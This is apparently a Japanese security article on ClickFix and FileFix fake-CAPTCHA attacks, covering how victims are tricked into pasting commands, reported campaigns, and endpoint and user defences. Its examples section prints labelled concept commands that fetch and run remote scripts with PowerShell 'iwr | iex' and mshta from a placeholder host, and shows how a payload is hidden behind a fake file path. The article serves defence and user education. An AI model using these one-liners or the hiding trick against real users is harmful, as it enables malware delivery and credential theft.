ClickFixは、2025年から2026年にかけて爆発的に増えた新型のソーシャルエンジニアリング攻撃です。手口を一言でいえば、「被害者自身に、自分のPCでマルウェアを実行させる」。偽のCAPTCHAや偽のエラー画面で「これを貼り付けて実行すれば直ります」と指示し、ユーザーが言われたとおりにコマンドを実行してしまう——それだけで感染が成立します。
Microsoftの観測では、ClickFixは2025年上半期だけで517%増加し、追跡する侵入の47%を占めるまでになりました。CAPTCHAを悪用したフィッシングは2026年3月の1か月で倍増し、1,190万件に達したと報じられています。本記事は、なぜこの「単純な手口」がこれほど効くのか、実際の攻撃事例、そして組織と個人がとるべき具体的な防御を、実務目線で整理します。
ClickFixとは何か
従来のマルウェア配布は「不正な添付ファイルを開かせる」「改ざんサイトの脆弱性で勝手に実行する(ドライブバイ)」のどちらかでした。ClickFixはそのどちらでもありません。攻撃者は何も実行しません。実行するのは被害者本人です。
典型的な流れはこうです。
- 改ざんされたサイトや偽広告で、「あなたは人間ですか?」という偽CAPTCHAや、「このページの表示に問題があります。修復してください」という偽エラーが表示される。
- 「認証を完了するには次の手順に従ってください」として、① Win + R キーを押す ② Ctrl + V で貼り付ける ③ Enter を押す、と案内される。
- ユーザーが気づかないうちに、ページのJavaScriptがクリップボードに悪意あるコマンドを書き込んでいる。「コピー」ボタンを押させる場合も多い。
- ユーザーが指示どおり Run ダイアログ(ファイル名を指定して実行)に貼り付けて Enter を押すと、PowerShell が起動し、外部からマルウェアをダウンロードしてメモリ上で実行する。
被害者から見れば「CAPTCHAをクリアするための正規手順」を踏んだだけ。しかし実際には、自分の手で感染スクリプトを起動させられているのです。「Click(クリック)して Fix(修復)する」という体裁が、そのまま攻撃名の由来になっています。
なぜ防ぎにくいのか
ClickFixが厄介なのは、従来の防御の「前提」をすり抜ける点にあります。
- ファイルのダウンロードがない:実行されるのは Windows 標準の
powershell.exeやmshta.exe。署名済みの正規バイナリ(LOLBins)なので、シグネチャ型のアンチウイルスでは「正常な操作」に見える。 - ユーザー自身が起動する:脆弱性を突かないため、パッチでは塞げない。メールゲートウェイやサンドボックスも、ユーザーがブラウザ外で手動実行する操作は追えない。
- Mark of the Web(MOTW)が付かない:手で貼り付けて実行するため「インターネット由来」のフラグが付かず、SmartScreen などの出所ベースの警告が出ない。
- 信頼できるサイトが踏み台になる:大学や有名サービスのサイトが改ざんされて配信元になると、URLを見ても怪しさに気づけない。
クリップボードに仕込まれるコマンドの例
実際にコピーさせられるコマンドは、難読化されつつ「メモリ上で外部スクリプトを取得・実行する」形が定番です(以下は教育目的の概念例で、実行可能なペイロードではありません)。
# 概念例:PowerShellで外部スクリプトをメモリ実行
powershell -w hidden -c "iwr https://例.invalid/a | iex"
# 概念例:mshtaで遠隔HTAを実行(アプリ制御の許可リストを悪用)
mshta https://例.invalid/x.hta
# FileFix亜種:エクスプローラーのアドレスバーに見える"ファイルパス"の
# 後ろ(# 以降)に本体を隠す
powershell ... ; # C:\会社共有\レポート.pdf近年は nslookup で DNS を介してペイロードを段階配信する亜種(Microsoftが2026年2月に開示)や、rundll32 と WebDAV を組み合わせる亜種、画像ファイルの中にコードを潜ませる亜種なども確認されています。攻撃者は検知回避のため、使う「正規ツール」を次々と入れ替えています。
ClickFixとFileFix — Run無効化を回避する進化
防御側が「Win + R(Run ダイアログ)をグループポリシーで無効化する」という対策を打ち始めると、攻撃側はすぐに回避策を編み出しました。それが FileFix(研究者 mr.d0x が2025年6月に公表)です。
FileFixの何が新しいか
- 実行先を Run ダイアログから エクスプローラーのアドレスバーに変える。アドレスバーは業務で常用するため、Run のように一律無効化しにくい。
- 「文書が壊れています。次のパスをアドレスバーに貼って開いてください」と案内し、クリップボードには正規のファイルパスに見える文字列の前後に PowerShell コマンドを隠したものを入れる。
#以降をコメント化してパスだけを見せる手口が典型。 - エクスプローラー経由の起動は MOTW が付かず、SmartScreen を回避できる。
ほかにも、壊れたフォント表示を装う GlitchFix、ブラウザのクラッシュ修復を装う CrashFix など、見せ方を変えた亜種が次々登場しています。本質は同じ——「ユーザーに正規ツールで一行実行させる」ことです。
実際の攻撃事例
700以上のサイトが改ざん(2026年5月)
Ghost CMS の SQL インジェクション脆弱性 CVE-2026-26980(影響:3.24.0〜6.19.0)を悪用し、700以上の大学・テック企業のサイトが侵害されました。攻撃者は認証なしでデータベースから管理APIキーを読み取り、投稿やページに不正な JavaScript を注入。訪問者に偽の Cloudflare/CAPTCHA を見せてコマンドを貼り付けさせる、典型的な ClickFix フローへ誘導しました。根っこは古典的な SQLインジェクション であり、修正版 6.19.1 が公開されています。
ClearFake亜種で14万台超が感染
改ざんサイトに偽更新・偽CAPTCHAを差し込む ClearFake 系のキャンペーンは、2025年8月から2026年初頭にかけて147,521台以上を感染させたと報告されています。配布されたのは LummaC2 や StealC といったインフォスティーラーで、保存済みパスワード・Cookie・暗号資産ウォレットなどを根こそぎ窃取します。
配布されるマルウェアの広がり
2026年第1四半期に ClickFix/FileFix 経由で観測されたペイロードは多岐にわたります:LummaC2、StealC、Rhadamanthys(情報窃取)、NetSupport RAT、AsyncRAT、Interlock RAT、Cobalt Strike(遠隔操作・侵入足場)、Latrodectus、MintsLoader(ローダー)、そして macOS を狙う AMOS Stealer まで。ClickFix は「入口」であり、その先にランサムウェアまで連鎖し得ます。
図解案:ClickFixの攻撃フロー
記事に添える概念図として、次の流れを1枚にすると理解が早まります。
[改ざんサイト/偽広告]
│ 偽CAPTCHA・偽エラーを表示
▼
[ページ内JavaScript] ──▶ クリップボードに悪意コマンドを書き込み
│ 「Win+R → Ctrl+V → Enter」を案内
▼
[被害者本人が貼り付け実行] ← ここが攻撃の実行点(人間が起点)
│ powershell.exe / mshta.exe / rundll32(正規ツール=LOLBins)
▼
[メモリ上でペイロード取得・実行]
│
▼
[インフォスティーラー / RAT / ローダー]
→ 認証情報・Cookie窃取、遠隔操作、ランサムウェアへ連鎖
★ 防御の鍵=「人間が貼り付ける瞬間」と「正規ツールの異常な起動」防御策:組織と個人で分けて考える
利用者教育(最優先)
ClickFix は人間を狙う攻撃なので、まず「サイトの指示でコマンドを貼り付けて実行することは絶対にない」という1点を周知するのが最も効きます。覚えやすいルールに落とすと効果的です。
- 本物の CAPTCHA は、Win + R や PowerShell を開かせない。そう言われたら100%詐欺。
- 「修復するには」「認証するには」とコマンド実行を促す画面は、ページを閉じる。
- 身に覚えのない手順を踏む前に、情シス/セキュリティ窓口に確認する文化を作る。
エンドポイントの技術的対策
- Run ダイアログの無効化:グループポリシー/Intune で一般ユーザーの Win + R を制限。ただし FileFix(アドレスバー経由)は別途対策が要る点に注意。
- アプリケーション制御(WDAC / AppLocker)と ASR ルール:ブラウザやエクスプローラーから
powershell.exe/mshta.exe/nslookup.exe/rundll32.exeが子プロセスとして起動する挙動をブロック・監視する。 - PowerShell の防御強化:スクリプトブロックロギング、AMSI 連携、Constrained Language Mode を有効化し、難読化された
iex実行を可視化・抑止する。 - 挙動ベース検知(EDR):「ブラウザがクリップボードに書き込んだ直後に powershell が起動し、外部通信する」といった一連の流れをふるまいで捉える。
配信元を断つ・被害を広げない
- 自社サイトを踏み台にされないために、CMS・プラグインのパッチを迅速に当てる(Ghost の事例のように SQLインジェクション や XSS が入口になる)。CSP などのセキュリティヘッダーで外部スクリプト注入の影響を抑える。
- インフォスティーラーはセッション Cookie を盗んで多要素認証を回避する。フィッシング耐性のある認証(FIDO2/Passkey)への移行と、窃取時のセッション失効・再認証の仕組みを整える。
- DNS を悪用する亜種に備え、DNSの問い合わせログを監視し、不審なドメインへの段階配信を検知する。
まとめ
ClickFix の本質は、「脆弱性ではなく人間の善意・反射を突く」点にあります。だからこそパッチだけでは止まらず、急速に主流化しました。守りの軸は3つです——「サイトの指示でコマンドを実行しない」という教育、正規ツール(LOLBins)の異常起動をふるまいで捉える検知、そして自社サイトを配信元にされないためのパッチとヘッダー設定。
手口の派生(FileFix・GlitchFix・DNS/画像亜種)は今後も増えますが、入口は常に「人間に一行実行させる」一点に集約されます。フィッシング全般の考え方は OWASP Top 10、認証情報窃取後の被害抑制は MFA・FIDO2 の解説 も合わせてご覧ください。
※ 本記事のCVE番号・キャンペーン名・統計値は、各セキュリティベンダーおよび公開された報道・脆弱性データベースに基づきます。攻撃手法は変化が速いため、対策時は最新の公式情報をあわせてご確認ください。